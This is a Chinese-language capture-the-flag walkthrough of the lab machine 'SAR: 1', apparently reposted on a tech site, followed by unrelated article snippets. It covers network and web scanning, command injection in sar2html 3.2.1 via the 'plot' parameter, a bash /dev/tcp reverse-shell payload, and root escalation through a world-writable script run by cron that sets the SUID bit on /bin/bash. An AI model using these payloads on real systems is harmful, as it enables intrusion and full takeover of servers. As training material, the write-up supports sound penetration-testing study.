红队打靶练习:SAR: 1

目录

信息收集

1、arp

2、netdiscover

3、nmap

4、nikto

5、whatweb

小结

目录探测

1、gobuster

2、dirsearch

WEB

CMS

1、cms漏洞探索

2、RCE漏洞利用

提权

get user.txt

本地提权


信息收集

1、arp
┌──(root㉿ru)-[~/kali]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:69:c7:bf, IPv4: 192.168.12.128
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.12.1    00:50:56:c0:00:08       VMware, Inc.
192.168.12.2    00:50:56:ec:d1:ca       VMware, Inc.
192.168.12.150  00:50:56:3f:48:06       VMware, Inc.
192.168.12.254  00:50:56:f6:29:00       VMware, Inc.5 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.369 seconds (108.06 hosts/sec). 4 responded

2、netdiscover
 netdiscover -r 192.168.12.0/24Currently scanning: Finished!   |   Screen View: Unique Hosts4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240_____________________________________________________________________________IP            At MAC Address     Count     Len  MAC Vendor / Hostname-----------------------------------------------------------------------------192.168.12.1    00:50:56:c0:00:08      1      60  VMware, Inc.192.168.12.2    00:50:56:ec:d1:ca      1      60  VMware, Inc.192.168.12.150  00:50:56:3f:48:06      1      60  VMware, Inc.192.168.12.254  00:50:56:f6:29:00      1      60  VMware, Inc.

3、nmap
端口探测┌──(root㉿ru)-[~/kali]
└─# nmap -p- 192.168.12.150 --min-rate 10000 -oA ports
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-30 10:42 CST
Nmap scan report for 192.168.12.150
Host is up (0.0030s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE
80/tcp open  http
MAC Address: 00:50:56:3F:48:06 (VMware)Nmap done: 1 IP address (1 host up) scanned in 7.46 seconds

信息探测┌──(root㉿ru)-[~/kali]
└─# nmap -sCV -p 80 -T5 -O 192.168.12.150 --min-rate 10000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-30 10:44 CST
Nmap scan report for 192.168.12.149
Host is up (0.00029s latency).PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
MAC Address: 00:50:56:3F:48:06 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hopOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.95 seconds

漏洞探测┌──(root㉿ru)-[~/kali]
└─# nmap --script=vuln -p 80 192.168.12.150 --min-rate 10000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-30 10:46 CST
Pre-scan script results:
| broadcast-avahi-dos:
|   Discovered hosts:
|     224.0.0.251
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_  Hosts are all up (not vulnerable).
Nmap scan report for 192.168.12.150
Host is up (0.00015s latency).PORT   STATE SERVICE
80/tcp open  http
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-enum:
|   /robots.txt: Robots file
|_  /phpinfo.php: Possible information file
MAC Address: 00:50:56:3F:48:06 (VMware)Nmap done: 1 IP address (1 host up) scanned in 57.33 seconds

4、nikto
┌──(root㉿ru)-[~/kali]
└─# nikto -h 192.168.12.150
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.12.150
+ Target Hostname:    192.168.12.150
+ Target Port:        80
+ Start Time:         2023-12-30 10:46:35 (GMT8)
---------------------------------------------------------------------------
+ Server: Apache/2.4.29 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /: Server may leak inodes via ETags, header found with file /, inode: 2aa6, size: 59558e1434548, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ OPTIONS: Allowed HTTP Methods: HEAD, GET, POST, OPTIONS .
+ /phpinfo.php: Output from the phpinfo() function was found.
+ /phpinfo.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information. See: CWE-552
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8102 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time:           2023-12-30 10:46:51 (GMT8) (16 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

5、whatweb
┌──(root㉿ru)-[~/kali]
└─# whatweb -v http://192.168.12.150
WhatWeb report for http://192.168.12.150
Status    : 200 OK
Title     : Apache2 Ubuntu Default Page: It works
IP        : 192.168.12.149
Country   : RESERVED, ZZSummary   : Apache[2.4.29], HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)]Detected Plugins:
[ Apache ]The Apache HTTP Server Project is an effort to develop andmaintain an open-source HTTP server for modern operatingsystems including UNIX and Windows NT. The goal of thisproject is to provide a secure, efficient and extensibleserver that provides HTTP services in sync with the currentHTTP standards.Version      : 2.4.29 (from HTTP Server Header)Google Dorks: (3)Website     : http://httpd.apache.org/[ HTTPServer ]HTTP server header string. This plugin also attempts toidentify the operating system from the server header.OS           : Ubuntu LinuxString       : Apache/2.4.29 (Ubuntu) (from server string)HTTP Headers:HTTP/1.1 200 OKDate: Sat, 30 Dec 2023 02:48:35 GMTServer: Apache/2.4.29 (Ubuntu)Last-Modified: Sun, 20 Oct 2019 15:04:12 GMTETag: "2aa6-59558e1434548-gzip"Accept-Ranges: bytesVary: Accept-EncodingContent-Encoding: gzipContent-Length: 3138Connection: closeContent-Type: text/html

小结
靶机只开放了80端口中间件是apache 版本 2.4.29

目录探测

1、gobuster
┌──(root㉿ru)-[/usr/share/dirbuster/wordlists]
└─# gobuster dir -u http://192.168.12.150 -x php,txt.html -w directory-list-lowercase-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.12.150
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,txt.html
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 279]
/.php                 (Status: 403) [Size: 279]
/phpinfo.php          (Status: 200) [Size: 95401]
/server-status        (Status: 403) [Size: 279]
Progress: 622929 / 622932 (100.00%)
===============================================================
Finished
===============================================================

2、dirsearch
┌──(root㉿ru)-[~/kali]
└─# dirsearch -u http://192.168.12.150 -e*
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.htmlfrom pkg_resources import DistributionNotFound, VersionConflict_|. _ _  _  _  _ _|_    v0.4.3(_||| _) (/_(_|| (_| )Extensions: php, jsp, asp, aspx, do, action, cgi, html, htm, js, tar.gz
HTTP method: GET | Threads: 25 | Wordlist size: 14594Output File: /root/kali/reports/http_192.168.12.149/_23-12-30_10-56-44.txtTarget: http://192.168.12.149/[10:56:44] Starting:
[10:57:13] 200 -   24KB - /phpinfo.php
[10:57:17] 200 -    9B  - /robots.txtTask Completed

扫到了  phpinfo.php  robots.txt   这两个目录文件

WEB




在robots.txt目录下找到线索!

CMS

1、cms漏洞探索


ok,是一个cms。而且给了版本,我们利用一下!

┌──(root㉿ru)-[~/kali]
└─# searchsploit sar2html 3.2.1
----------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------Exploit Title                                                                                                                                                   |  Path
----------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
sar2html 3.2.1 - 'plot' Remote Code Execution                                                                                                                    | php/webapps/49344.py
Sar2HTML 3.2.1 - Remote Command Execution                                                                                                                        | php/webapps/47204.txt
----------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results┌──(root㉿ru)-[~/kali]
└─# searchsploit -m 49344.py 47204.txtExploit: sar2html 3.2.1 - 'plot' Remote Code ExecutionURL: https://www.exploit-db.com/exploits/49344Path: /usr/share/exploitdb/exploits/php/webapps/49344.pyCodes: N/AVerified: True
File Type: Python script, ASCII text executable
Copied to: /root/kali/49344.pyExploit: Sar2HTML 3.2.1 - Remote Command ExecutionURL: https://www.exploit-db.com/exploits/47204Path: /usr/share/exploitdb/exploits/php/webapps/47204.txtCodes: N/AVerified: False
File Type: ASCII text
Copied to: /root/kali/47204.txt

存在rce漏洞!

2、RCE漏洞利用
playload┌──(root㉿ru)-[~/kali]
└─# cat 47204.txt
# Exploit Title: sar2html Remote Code Execution
# Date: 01/08/2019
# Exploit Author: Furkan KAYAPINAR
# Vendor Homepage:https://github.com/cemtan/sar2html
# Software Link: https://sourceforge.net/projects/sar2html/
# Version: 3.2.1
# Tested on: Centos 7In web application you will see index.php?plot url extension.http://<ipaddr>/index.php?plot=;<command-here> will execute
the command you entered. After command injection press "select # host" then your command's
output will appear bottom side of the scroll screen.http://<ipaddr>/index.php?plot=;<command-here> will execute   注意这句话!


果然存在命令执行漏洞!我们利用这个反弹一个shell。pladyload:/bin/bash -c 'bash -i >&/dev/tcp/ip/port 0>&1



记得kali开启监听,bp的payload记得url编码!

提权

get user.txt
www-data@sar:/home/love/Desktop$ ls
ls
user.txt
www-data@sar:/home/love/Desktop$ cat user.txt
cat user.txt
427a7e47deb4a8649c7cab38df232b52
www-data@sar:/home/love/Desktop$


本地提权
www-data@sar:/home/love$ uname -a
uname -a
Linux sar 5.0.0-23-generic #24~18.04.1-Ubuntu SMP Mon Jul 29 16:12:28 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
www-data@sar:/home/love$ lsb_release -a
lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 18.04.3 LTS
Release:        18.04
Codename:       bionic
www-data@sar:/home/love$

www-data@sar:/home/love$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
*/5  *    * * *   root    cd /var/www/html/ && sudo ./finally.sh

每五分钟运行以root权限运行一次./finally.sh文件!可以利用!

www-data@sar:/var/www/html$ ls -al
ls -al
total 40
drwxr-xr-x 3 www-data www-data  4096 Oct 21  2019 .
drwxr-xr-x 4 www-data www-data  4096 Oct 21  2019 ..
-rwxr-xr-x 1 root     root        22 Oct 20  2019 finally.sh
-rw-r--r-- 1 www-data www-data 10918 Oct 20  2019 index.html
-rw-r--r-- 1 www-data www-data    21 Oct 20  2019 phpinfo.php
-rw-r--r-- 1 root     root         9 Oct 21  2019 robots.txt
drwxr-xr-x 4 www-data www-data  4096 Oct 20  2019 sar2HTML
-rwxrwxrwx 1 www-data www-data    30 Oct 21  2019 write.sh
www-data@sar:/var/www/html$ cat finally.sh
cat finally.sh
#!/bin/sh./write.sh
www-data@sar:/var/www/html$ cat  write.sh
cat  write.sh
#!/bin/shtouch /tmp/gateway
www-data@sar:/var/www/html$

finally.sh文件是以root权限运行的文件,而且finally.sh文件会再以root权限运行write.sh文件,write.sh文件是可以编辑的,我们利用起来!

www-data@sar:/var/www/html$ cat write.sh
cat write.sh
#!/bin/shtouch /tmp/gateway
cp /bin/bash /tmp/geteway;chmod u+s /tmp/gateway
www-data@sar:/var/www/html$ echo "cp /bin/bash /tmp/shell" >> write.sh
echo "cp /bin/bash /tmp/shell" >> write.sh
www-data@sar:/var/www/html$ echo "chmod +s /tmp/shell" >> write.sh
echo "chmod +s /tmp/shell" >> write.sh
www-data@sar:/var/www/html$ ls -al /tmp
ls -al /tmp
total 8
drwxrwxrwt  2 root root 4096 Jan  1  2024 .
drwxr-xr-x 24 root root 4096 Oct 20  2019 ..
www-data@sar:/var/www/html$直接写入两个payload,然后坐等五分钟!等计划任务执行即可。

但是经过我的尝试,发现没有创建成功,可能是靶机内部的某些脚本把我们创建的文件删掉了!我们尝试另外的方法!

www-data@sar:/var/www/html$ echo "chmod +s /bin/bash" >> write.sh
echo "chmod +s /bin/bash" >> write.sh

等五分钟,然后执行 /bin/bash -p  即可!www-data@sar:/var/www/html$ /bin/bash -p
/bin/bash -p
bash-4.4# id
id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
bash-4.4# cd /root
cd /root
bash-4.4# ls
ls
root.txt  snap
bash-4.4# cat root.txt
cat root.txt
66f93d6b2ca96c9ad78a8a9ba0008e99

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/312934.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

tp5+workman(GatewayWorker) 安装及使用

一、安装thinkphp5 1、宝塔删除php禁用函数putenv、pcntl_signal_dispatch、pcntl_wai、pcntl_signal、pcntl_alarm、pcntl_fork&#xff0c;执行安装命令。 composer create-project topthink/think5.0.* tp5 --prefer-dist 2、配置好站点之后&#xff0c;浏览器打开访问成…

自动化网络故障修复管理

什么是故障管理 故障管理是网络管理的组成部分&#xff0c;涉及检测、隔离和解决问题。如果实施得当&#xff0c;网络故障管理可以使连接、应用程序和服务保持在最佳水平&#xff0c;提供容错能力并最大限度地减少停机时间。专门为此目的设计的平台或工具称为故障管理系统。 …

springboot基于Java的小区物业管理系统设计与实现

springboot基于Java的小区物业管理系统设计与实现 源码获取&#xff1a; https://docs.qq.com/doc/DUXdsVlhIdVlsemdX

初始SpringBoot:详解特性和结构

&#x1f3e1;浩泽学编程&#xff1a;个人主页 &#x1f525; 推荐专栏&#xff1a;《深入浅出SpringBoot》《java项目分享》 《RabbitMQ》《Spring》《SpringMVC》 &#x1f6f8;学无止境&#xff0c;不骄不躁&#xff0c;知行合一 文章目录 前言一、SpringBoot…

Android集成OpenSSL实现加解密-集成

导入so 将编译生成的 OpenSSL 动态库文件&#xff08;.so 文件&#xff09;复制到你的 Android 项目的 libs 目录中 导入头文件 将编译生成的include文件夹导入到项目中 build.gradle添加配置 defaultConfig {……testInstrumentationRunner "androidx.test.runner…

20231231_小米音箱接入GPT

参考资料&#xff1a; GitHub - yihong0618/xiaogpt: Play ChatGPT and other LLM with Xiaomi AI Speaker *.设置运行脚本权限 Set-ExecutionPolicy -ExecutionPolicy RemoteSigned *.配置小米音箱 ()pip install miservice_fork -i https://pypi.tuna.tsinghua.edu.cn/sim…

TikTok真题第11天 | 1249.移除无效的括号、23.合并K个升序链表、773.滑动谜题

今天开始整hard题&#xff0c;果然费时。 1249.移除无效的括号 题目链接&#xff1a;1249.minimum-remove-to-make-valid-parentheses 解法&#xff1a; 这个题用栈来处理&#xff0c;用栈来记录左括号的位置&#xff0c;同时用一个向量来记录左括号和右括号是否有效&#x…

Navicat里修改表名和字段名的方法

一 修改表名 如图右键点击表名&#xff0c;选择“重命名”&#xff0c;输入新表名后&#xff0c;再敲回车键就可以保存。注意&#xff1a;新表名不能与已经有的表名重复。 二 修改字段名字及类型 第一步 如图右键点击表名&#xff0c;选择“设计表” 第二步 点击字段名字就可…

二叉堆的简单板子+理解+例题

首先&#xff0c;我们先要了解堆是什么&#xff1f; 堆&#xff1a;是一种高级树状数据结构&#xff0c;是一种完全二叉树。 &#xff08;完全二叉树指的是&#xff0c;除了叶子节点&#xff0c;每个节点均有左右两个子节点的树状结构&#xff09; 而&#xff0c;二叉堆是堆的最…

古有华山论剑,今有流程之争|谁在误导人?

有意思&#xff0c;今天被人怼了&#xff0c;说我误导人。 起因是我前些天写过两篇文章&#xff0c;第一篇是&#xff1a;Nextflow生物信息流程&#xff08;一&#xff09;&#xff1a;简介 一个入门帖子&#xff0c;反响平平。我原本也是打算好好学习一下 Nextflow 来着&#…

Deeplearning4j 实战 (22):基于DSSM的语义匹配建模

Deeplearning4j 实战 &#xff08;22&#xff09;&#xff1a;基于DSSM的语义匹配建模 Eclipse Deeplearning4j GitChat课程&#xff1a;Deeplearning4j 快速入门_专栏 Eclipse Deeplearning4j 系列博客&#xff1a;万宫玺的专栏_wangongxi_CSDN博客 Eclipse Deeplearning4j G…

记录 Docker 中安装 ROS2

目录 1 安装 Docker 2 安装 ROS2 3 启动 Docker 4 测试 ROS2 环境 1 安装 Docker 1. 更新软件包sudo apt updatesudo apt upgrade2. 安装 docker 依赖sudo apt-get install ca-certificates curl gnupg lsb-release3. 添加 docker 官方 GPG 密钥curl -fsSL http://mirror…